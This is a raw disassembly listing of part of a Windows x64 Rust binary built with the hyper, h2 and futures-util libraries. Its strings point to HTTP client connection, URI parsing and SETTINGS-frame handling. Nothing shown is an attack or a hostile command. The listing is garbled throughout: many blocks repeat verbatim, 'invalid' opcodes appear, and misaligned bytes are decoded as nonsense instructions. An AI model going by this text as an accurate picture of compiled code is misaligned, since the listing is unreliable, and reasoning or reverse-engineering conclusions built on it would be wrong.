xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079250
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [rbp + 0x10]
add rcx, r13
mov rdx, qword [rsp + 0x48]
mov qword [rax], rdx
mov qword [rax + 8], 2
mov qword [rax + 0x10], r14
movaps xmm0, xmmword [rsp + 0x450]
movaps xmm1, xmmword [rsp + 0x460]
movdqa xmm2, xmmword [rsp + 0x470]
movdqa xmm3, xmmword [rsp + 0x480]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x38], xmm2
movdqu xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rax + 0x58], xmm0
mov rdx, qword [rsp + 0x4a0]
mov qword [rax + 0x68], rdx
mov qword [rax + 0x70], 0
mov rdx, qword [rsp + 0xe0]
mov qword [rax + 0x78], rdx
mov rdx, qword [rsp + 0x190]
mov qword [rax + 0x80], rdx
mov byte [rax + 0x88], 0
mov edx, dword [rsp + 0x108]
mov r8d, dword [rsp + 0x10b]
mov dword [rax + 0x89], edx
mov dword [rax + 0x8c], r8d
mov qword [rax + 0x90], rdi
mov qword [rax + 0x98], r14
mov rdx, qword [rsp + 0x218]
mov qword [rax + 0xa0], rdx
mov edx, dword [rsp + 0x90]
mov byte [rax + 0xa8], dl
mov byte [rax + 0xaf], 0
mov word [rax + 0xad], 0
mov dword [rax + 0xa9], 0
mov rdx, qword [rsp + 0x188]
mov qword [rax + 0xb8], rdx
mov rdx, qword [rsp + 0xb0]
mov qword [rax + 0xc0], rdx
mov byte [rax + 0xc8], r12b
mov r8, qword [rsp + 0x58]
mov rdx, r8
shr rdx, 0x20
mov byte [rax + 0xcd], dl
add byte [rcx + rcx*4 - 0x80], al
leave
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x50
add byte [rcx + rcx*4 - 0x80], al
leave
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x50
mov byte [rax + 0xce], dl
mov rdx, qword [rsp + 0x60]
mov byte [rax + 0xcf], dl
mov rdx, qword [rsp + 0x68]
mov byte [rax + 0xd0], dl
mov rdx, qword [rsp + 0x98]
mov byte [rax + 0xd1], dl
mov edx, dword [rsp + 0x78]
mov byte [rax + 0xd2], dl
mov edx, dword [rsp + 0xa0]
mov byte [rax + 0xd3], dl
mov rdx, qword [rsp + 0x88]
mov dword [rax + 0xd4], edx
mov rdx, qword [rsp + 0xb8]
mov qword [rax + 0xd8], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rax + 0xe0], rdx
mov rdx, qword [rsp + 0x2f0]
mov qword [rax + 0xf8], rdx
movaps xmm0, xmmword [rsp + 0x2e0]
movups xmmword [rax + 0xe8], xmm0
mov qword [rax + 0x100], 8
movaps xmm0, xmmword [rsp + 0x4d0]
movups xmmword [rax + 0x108], xmm0
mov r9, qword [rsp + 0x140]
mov qword [rax + 0x118], r9
mov edx, dword [rsp + 0x70]
mov byte [rax + 0x120], dl
mov edx, dword [rsp + 0x100]
mov r8d, dword [rsp + 0x103]
mov dword [rax + 0x121], edx
mov dword [rax + 0x124], r8d
mov edx, dword [rsp + 0x44]
mov byte [rax + 0x128], dl
mov byte [rax + 0x129], 0
mov edx, dword [rsp + 0xc8]
mov dword [rax + 0x12a], edx
movzx edx, word [rsp + 0xcc]
mov word [rax + 0x12e], dx
mov rdx, qword [rsp + 0x148]
mov qword [rax + 0x130], rdx
mov qword [rax + 0x138], r9
mov rdx, qword [rsp + 0x1a8]
mov qword [rax + 0x140], rdx
mov rdx, qword [rsp + 0x1a0]
mov qword [rax + 0x148], rdx
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rax - 0x77], cl
nop
push rax
add dword [rax], eax
add byte [rax - 0x39], cl
sbb byte [rax + 1], 0
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x4c0], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rax - 0x77], cl
nop
push rax
add dword [rax], eax
add byte [rax - 0x39], cl
sbb byte [rax + 1], 0
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x4c0], al
movups xmmword [rax + 0x160], xmm0
mov qword [rax + 0x170], 1
mov word [rax + 0x178], 0
mov edx, dword [rsp + 0xc0]
mov dword [rax + 0x17a], edx
movzx edx, word [rsp + 0xc4]
mov word [rax + 0x17e], dx
mov qword [rax + 0x180], 2
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rax + 0x188], xmm0
mov qword [rax + 0x198], rbx
mov qword [rax + 0x1a0], rsi
mov byte [rax + 0x1a8], 0
mov rdx, qword [rsp + 0x39f]
mov qword [rax + 0x1c8], rdx
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqu xmmword [rax + 0x1b9], xmm1
movups xmmword [rax + 0x1a9], xmm0
mov byte [rax + 0x1d0], 3
mov edx, dword [rsp + 0xf8]
mov r8d, dword [rsp + 0xfb]
mov dword [rax + 0x1d4], r8d
mov dword [rax + 0x1d1], edx
mov rdx, qword [rsp + 0x198]
mov qword [rax + 0x1d8], rdx
mov byte [rax + 0x1e0], 0
mov edx, dword [rsp + 0xf0]
mov r8d, dword [rsp + 0xf3]
mov dword [rax + 0x1e4], r8d
mov dword [rax + 0x1e1], edx
lea r8, [0x14013d550]
mov rdx, rax
mov rax, qword [rsp + 0x1f0]
call qword [rax + 0x18]
mov r13, qword [rsp + 0x30]
jmp 0x14007842e
mov eax, 1
lock xadd qword [0x14017d058], rax
mov qword [rsp + 0x1c70], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x2480], rax
mov qword [rsp + 0x2488], 2
mov qword [rsp + 0x2490], r14
mov rax, qword [rsp + 0x4a0]
mov qword [rsp + 0x24e8], rax
movaps xmm0, xmmword [rsp + 0x450]
movaps xmm1, xmmword [rsp + 0x460]
movdqa xmm2, xmmword [rsp + 0x470]
movdqa xmm3, xmmword [rsp + 0x480]
movups xmmword [rsp + 0x2498], xmm0
movups xmmword [rsp + 0x24a8], xmm1
movdqu xmmword [rsp + 0x24b8], xmm2
movdqu xmmword [rsp + 0x24c8], xmm3
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rsp + 0x24d8], xmm0
mov qword [rsp + 0x24f0], 0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x24f8], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x2500], rax
mov byte [rsp + 0x2508], 0
mov eax, dword [rsp + 0x10b]
mov dword [rsp + 0x250c], eax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x2509], eax
mov qword [rsp + 0x2510], rdi
mov qword [rsp + 0x2518], r14
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x2520], rax
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0x2528], al
mov byte [rsp + 0x252f], 0
mov word [rsp + 0x252d], 0
mov dword [rsp + 0x2529], 0
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x2538], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x2540], rax
mov byte [rsp + 0x2548], r12b
mov rax, rbp
shr rax, 0x20
mov byte [rsp + 0x254d], al
mov dword [rsp + 0x2549], ebp
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x254e], al
mov rax, qword [rsp + 0x60]
mov byte [rsp + 0x254f], al
mov rax, qword [rsp + 0x68]
mov byte [rsp + 0x2550], al
mov rax, qword [rsp + 0x98]
mov byte [rsp + 0x2551], al
mov eax, dword [rsp + 0x78]
mov byte [rsp + 0x2552], al
mov eax, dword [rsp + 0xa0]
mov byte [rsp + 0x2553], al
mov rax, qword [rsp + 0x88]
mov dword [rsp + 0x2554], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x2558], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2560], rax
invalid
and eax, 0x8b480000
test byte [rax + rsi*8], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
and eax, 0x280f0000
test byte [rax + riz*8], ah
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x2568], eax
mov qword [rsp + 0x2580], 8
movaps xmm0, xmmword [rsp + 0x4d0]
movups xmmword [rsp + 0x2588], xmm0
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x2598], rcx
mov eax, dword [rsp + 0x70]
mov byte [rsp + 0x25a0], al
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x25a1], eax
mov eax, dword [rsp + 0x103]
mov dword [rsp + 0x25a4], eax
mov eax, dword [rsp + 0x44]
mov byte [rsp + 0x25a8], al
mov byte [rsp + 0x25a9], 0
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x25aa], eax
movzx eax, word [rsp + 0xcc]
mov word [rsp + 0x25ae], ax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x25b0], rax
mov qword [rsp + 0x25b8], rcx
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x25c0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x25c8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x25d0], rax
mov qword [rsp + 0x25d8], 1
movaps xmm0, xmmword [rsp + 0x4c0]
movups xmmword [rsp + 0x25e0], xmm0
mov qword [rsp + 0x25f0], 1
mov word [rsp + 0x25f8], 0
movzx eax, word [rsp + 0xc4]
mov word [rsp + 0x25fe], ax
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x25fa], eax
mov qword [rsp + 0x2600], 2
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rsp + 0x2608], xmm0
mov qword [rsp + 0x2618], rbx
mov qword [rsp + 0x2620], rsi
mov byte [rsp + 0x2628], 0
add byte [rax], al
invalid
add byte [rax], al
mov rax, qword [rsp + 0x39f]
mov qword [rsp + 0x2648], rax
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqu xmmword [rsp + 0x2639], xmm1
movups xmmword [rsp + 0x2629], xmm0
mov byte [rsp + 0x2650], 3
mov eax, dword [rsp + 0xfb]
mov dword [rsp + 0x2654], eax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x2651], eax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x2658], rax
mov byte [rsp + 0x2660], 0
mov eax, dword [rsp + 0xf3]
mov dword [rsp + 0x2664], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x2661], eax
lea rax, [rsp + 0x1c70]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2668], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
mov r13, qword [rsp + 0x30]
je 0x14007815f
test eax, eax
jne 0x140079383
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0x2480]
mov r8d, 0x1f0
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x140079277
lea rax, [rsi + 1]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rcx + 0xd8]
lea rcx, [rsp + 0xcd0]
lea rdx, [rsp + 0x2480]
mov r8d, 0x1f0
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, 2
je 0x1400792d7
mov rax, qword [rsp + 0xeb8]
mov rdi, qword [rax]
test rbx, rbx
je 0x140078301
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x1400750fc.2
movzx eax, byte [0x14017d2b0]
mov edx, 0x300
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079332
mov r12, rax
and r12, 0xffffffffffffff80
lea rsi, [r12 + 0x80]
mov qword [r12 + 0x78], rax
lea r14, [rbx + 0x68]
mov qword [r12 + 0x80], 0xcc
mov qword [r12 + 0x88], 0
lea rax, [0x14013d910]
mov qword [r12 + 0x90], rax
mov qword [r12 + 0x98], 0
mov qword [r12 + 0xa0], rbx
mov qword [r12 + 0xa8], rdi
lea rcx, [r12 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0x1e8
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [r12 + 0x298], xmm0
mov qword [r12 + 0x2a8], 0
mov rcx, r14
mov rdx, rsi
mov r8, rsi
call fcn.140065e40
test rax, rax
je 0x1400783f9
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400eca20
jmp 0x1400783f9
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle case.0x1400750fc.2
movzx eax, byte [0x14017d2b0]
mov edx, 0x300
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079332
mov r14, rax
and r14, 0xffffffffffffff80
lea rsi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, [0x14013daa0]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x58
mov qword [r14 + 0xa8], rdi
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x3420]
mov r8d, 0x1e8
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [r14 + 0x298], xmm0
mov qword [r14 + 0x2a8], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.140065e40
test rax, rax
je 0x1400783f9
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eb0b0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x14007842e
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov qword [r15 + 0x130], r13
movaps xmm0, xmmword [rsp + 0x6d0]
movups xmmword [r15 + 0x138], xmm0
lea rdi, [r15 + 0x148]
mov byte [r15 + 0x148], 0
lea rsi, [r15 + 0x118]
mov rax, qword [r15 + 0x140]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [r15 + 0x130]
movdqu xmmword [rsi], xmm0
cmp byte [r15 + 0x128], 2
je 0x1400790ae
mov rcx, qword [rsi]
mov rdx, qword [rsp + 0x200]
call fcn.140100bb0
cmp al, 2
je 0x1400784ee
movzx eax, al
test eax, eax
jne 0x14007850b
mov byte [rdi], 3
mov al, 4
mov byte [r15 + 0x111], al
mov rax, qword [rsp + 0x1f8]
mov byte [rax + 0x70], 3
jmp 0x140078e17
mov rax, qword [r15 + 0x68]
test rax, rax
je 0x14007865b
lock dec qword [rax]
jne 0x14007865b
mov rcx, qword [r15 + 0x68]
mov rdx, qword [r15 + 0x70]
call fcn.1400049d0
mov rax, qword [r15 + 0xf8]
test rax, rax
je 0x140078680
lock dec qword [rax]
jne 0x140078680
mov rcx, qword [r15 + 0xf8]
mov rdx, qword [r15 + 0x100]
call fcn.1400049d0
mov rax, qword [r15 + 0x108]
test rax, rax
je 0x14007869e
lock dec qword [rax]
jne 0x14007869e
lea rcx, [r15 + 0x108]
call fcn.140066c70
lea rcx, [r15 + 0xc0]
call fcn.140072530
mov rsi, qword [r15 + 0xa0]
test rsi, rsi
je 0x1400786e6
mov rdi, qword [r15 + 0xa8]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400786e6
cmp qword [rdi + 0x10], 0x11
jb 0x1400786d4
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x30], r13
mov rax, qword [r15 + 0xb0]
lock dec qword [rax]
mov r13b, 2
jne 0x140078707
mov rcx, qword [r15 + 0xb0]
call fcn.140036760
jmp 0x140078d4b
xor eax, eax
movzx ecx, byte [r10 + 0x11]
test cl, cl
jne 0x140078eeb
mov qword [rsp + 0x60], rsi
movzx r14d, byte [rsp + 0x3420]
test r14d, r14d
mov dword [rsp + 0x44], eax
mov rsi, rbx
je 0x140078af9
cmp r14d, 2
jne 0x140078afe
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140079350
mov rbx, rax
mov rdi, r13
mov rax, qword [rsp + 0x3428]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
mov r10, rbp
jmp 0x140078b09
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401404f8]
mov edx, 0x18
call fcn.140104a60
mov rdi, r13
jmp 0x140078b09
mov rdi, r13
movzx eax, byte [rsp + 0x3421]
lea r13, [r10 + 0x18]
mov byte [rsp + 0x2480], r14b
mov byte [rsp + 0x2481], al
mov qword [rsp + 0x2488], rbx
lea rcx, [rsp + 0x2490]
lea rdx, [rsp + 0x3448]
mov rax, qword [rsp + 0x3430]
mov r8, qword [rsp + 0x3438]
mov r9, qword [rsp + 0x3440]
call qword [rax]
lea rdx, [rsp + 0x2480]
lea r8, [rsp + 0xcd0]
mov rcx, r13
mov rbx, rsi
mov r9, rsi
call fcn.14006f030
lea rdx, [rsp + 0x3420]
mov rcx, r13
call fcn.140072dd0
mov r8, qword [rsp + 0x3450]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x140078e56
mov qword [rsp + 0x3450], 0
cmp byte [rsp + 0x44], 0
mov r13, rdi
mov rcx, qword [rsp + 0x60]
jne 0x140078bc0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140078f26
xor r10d, r10d
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140078bd4
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor r10d, r10d
movzx edi, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x68]
mov rsi, r13
movzx r13d, byte [rsp + 0x3420]
test r13d, r13d
mov byte [rsp + 0x58], dil
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x50], r10
je 0x140078c4b
add byte [rax], al
lea rcx, [rsp + 0x3420]
call fcn.140072530
mov rax, qword [r15 + 0x68]
test rax, rax
test eax, eax
test eax, eax
je 0x140078ce8
lock dec qword [rax]
jne 0x140078ce8
mov rcx, qword [r15 + 0x68]
mov rdx, qword [r15 + 0x70]
call fcn.1400049d0
invalid
clc
invalid
mov esp, 0x8b49fff8
xchg eax, edi
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rbx - 0x10], 0x48
dec dword [rax]
mov rax, qword [r15 + 0xf8]
test rax, rax
je 0x140078d0d
lock dec qword [rax]
jne 0x140078d0d
mov rcx, qword [r15 + 0xf8]
mov rdx, qword [r15 + 0x100]
call fcn.1400049d0
or rdi, r13
mov rax, qword [rbx]
movq xmm0, qword [rsp + 0x30]
movq xmm6, rsi
punpcklqdq xmm6, xmm0
movq xmm0, r12
movq xmm7, r14
punpcklqdq xmm7, xmm0
test rax, rax
je 0x140078d43
lock dec qword [rax]
jne 0x140078d43
mov rcx, rbx
call fcn.140066c70
xor r13d, r13d
in eax, dx
mov qword [rsp + 0x30], rdi
mov rdx, qword [rsp + 0x38]
mov byte [r15 + 0x111], 1
movzx edi, byte [rsp + 0x48]
movzx r12d, byte [rsp + 0x70]
movzx ebx, byte [rsp + 0x58]
mov rbp, qword [rsp + 0x68]
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rcx, rdx
mov r15, rdx
call fcn.1400651b0
mov qword [r15], 4
mov rdx, qword [rsp + 0x1f8]
mov rax, qword [rsp + 0x30]
xor byte [rax - 0x77], cl
add cl, byte [rax - 0x77]
jb case.0x140069415.54
xor byte [rax - 0x77], cl
add cl, byte [rax - 0x77]
jb case.0x140069415.54
movdqa xmm0, xmmword [rsp + 0x6a0]
movdqa xmm1, xmmword [rsp + 0x6b0]
movdqu xmmword [rdx + 0x10], xmm0
movdqu xmmword [rdx + 0x20], xmm1
movq qword [rdx + 0x20], mm1
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rsi*4], fs
invalid
movq qword [rdx + 0x20], mm1
movdqu xmmword [rdx + 0x30], xmm6
mov byte [rdx + 0x40], r12b
mov eax, dword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
mov ecx, dword [rsp + 0x11b]
mov dword [rdx + 0x41], eax
mov dword [rdx + 0x44], ecx
mov qword [rdx + 0x48], rbp
movups xmmword [rdx + 0x50], xmm7
mov byte [rdx + 0x60], dil
mov byte [rdx + 0x61], bl
mov eax, dword [rsp + 0xd0]
mov dword [rdx + 0x62], eax
movzx eax, word [rsp + 0xd4]
mov word [rdx + 0x66], ax
mov qword [rdx + 0x68], r14
mov byte [rdx + 0x70], r13b
mov eax, dword [rsp + 0x1b8]
mov ecx, dword [rsp + 0x1bb]
mov dword [rdx + 0x71], eax
mov dword [rdx + 0x74], ecx
je 0x140078e27
sub byte [rsp + 0x4710], dh
je 0x140078e27
sub byte [rsp + 0x4710], dh
movaps xmm7, xmmword [rsp + 0x4720]
movaps xmm8, xmmword [rsp + 0x4730]
movaps xmm9, xmmword [rsp + 0x4740]
movaps xmm10, xmmword [rsp + 0x4750]
add rsp, 0x4768
push 0x5b000047
push 0x5b000047
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lock dec qword [r8 + 8]
jne 0x140078b92
mov rcx, qword [0x14017d208]
adc byte [r8], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140078b92
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.1401046f0
mov ecx, 8
mov edx, 0x538
call fcn.140104380
mov rcx, rsi
call fcn.14010c7c0
mov r10, rbp
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je case.0x140048c13.452
call fcn.14010c880
mov r10, rbp
xor al, 1
movzx ecx, byte [r10 + 0x11]
test cl, cl
je 0x140078a1a
mov qword [rsp + 0x2480], rsi
mov byte [rsp + 0x2488], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013baf8]
lea r8, [rsp + 0x2480]
mov edx, 0x2b
call fcn.1401049b0
mov rsi, rcx
call fcn.14010c880
mov rcx, rsi
test al, al
jne 0x140078bc0
mov byte [rbp + 0x11], 1
jmp 0x140078bc0
lea rax, str.librarycore_src_netparser.rs
mov edx, 7
mov rcx, r8
ror dword [rcx - 0x77], 0xc0
ror dword [rcx - 0x77], 0xc0
call fcn.1401046e0
lea r8, str.librarycore_src_netparser.rs
mov edx, 8
add al, ch
invalid
invalid
or byte [rax], al
add al, ch
mov ecx, 0x8d4c0008
add eax, 0x97fb8
lea r8, str.librarycore_src_netparser.rs
mov ecx, 8
mov edx, 7
add byte [rax], al
add al, ch
push rcx
mov bh, 8
invalid
add byte [rax], al
add al, ch
push rcx
mov bh, 8
add byte [rax - 0x73], cl
or eax, 0xc0522
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.1401092e0
lea rcx, str.TryFlatten_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_try_future_try_flatten.rs
lea r8, [0x14013a618]
mov edx, 0x22
call fcn.1401092e0
mov rax, qword [rsp + 0x38]
mov qword [rax], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.1401046f0
mov qword [rsi], 4
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xcf427
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.1401046f0
mov dh, 8
invalid
mov dh, 8
add byte [rcx + 8], bh
mov ecx, 8
mov edx, 0x38
call fcn.140104380
mov ecx, 8
mov edx, 0x440
call fcn.140104380
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add byte [rax], al
call fcn.140104380
lea rax, str.mid___len
mov qword [rsp + 0xcd0], rax
test byte [rax + rdx*8], ah
or al, 0
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
or al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax], al
test byte [rax + rdx*8], ah
or al, 0
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
or al, 0
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xce0], rdi
pxor xmm0, xmm0
invalid
invalid
add byte [rax], al
mov qword [rsp + 0xce0], rdi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xce8], xmm0
jg 0x140078fed
and al, 0xe8
or al, 0
add byte [rax - 0x73], cl
adc eax, 0xc5f6b
jg 0x140078fed
and al, 0xe8
or al, 0
add byte [rax - 0x73], cl
adc eax, 0xc5f6b
lea rcx, [rsp + 0xcd0]
call fcn.140104620
call fcn.14010a580
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14013ee10]
mov edx, 0x1d
call fcn.140104a60
mov ecx, 8
mov edx, 0x30
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140104a40
mov ecx, 0x8b90008
add byte [rax], al
add byte [rdx + 0x2320], bh
mov ecx, 0x8b90008
add byte [rax], al
add byte [rdx + 0x2320], bh
call fcn.140104380
mov ecx, 0x80
mov edx, 0x200
call fcn.140104380
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
lea r8, [0x140125d00]
mov edx, 0x4c
add byte [rax], r8b
add al, ch
add byte [rsi - 0x72b7fff8], dh
or eax, 0xaccf1
add byte [rax], r8b
add al, ch
add byte [rsi - 0x72b7fff8], dh
or eax, 0xaccf1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov edx, 0x2f
call fcn.1401046f0
add byte [rcx + 1], bh
add byte [rcx + 1], bh
mov edx, 0x2000
call fcn.140104360
lea rcx, [0x14013d0a8]
call fcn.140104c30
mov ecx, 1
mov edx, 0x4000
call fcn.140104360
mov ecx, 1
mov edx, 0x1000
call fcn.140104360
mov byte [rsp + 0x2480], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_SETTINGS_frame
lea r9, [0x14013ba38]
lea r8, [rsp + 0x2480]
mov edx, 0x16
call fcn.1401049b0
mov ecx, 8
mov edx, 0x240
call fcn.140104380
mov ecx, 8
mov edx, 0x40
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140104c30
xor eax, eax
mov qword [rsp + 0x2480], rsi
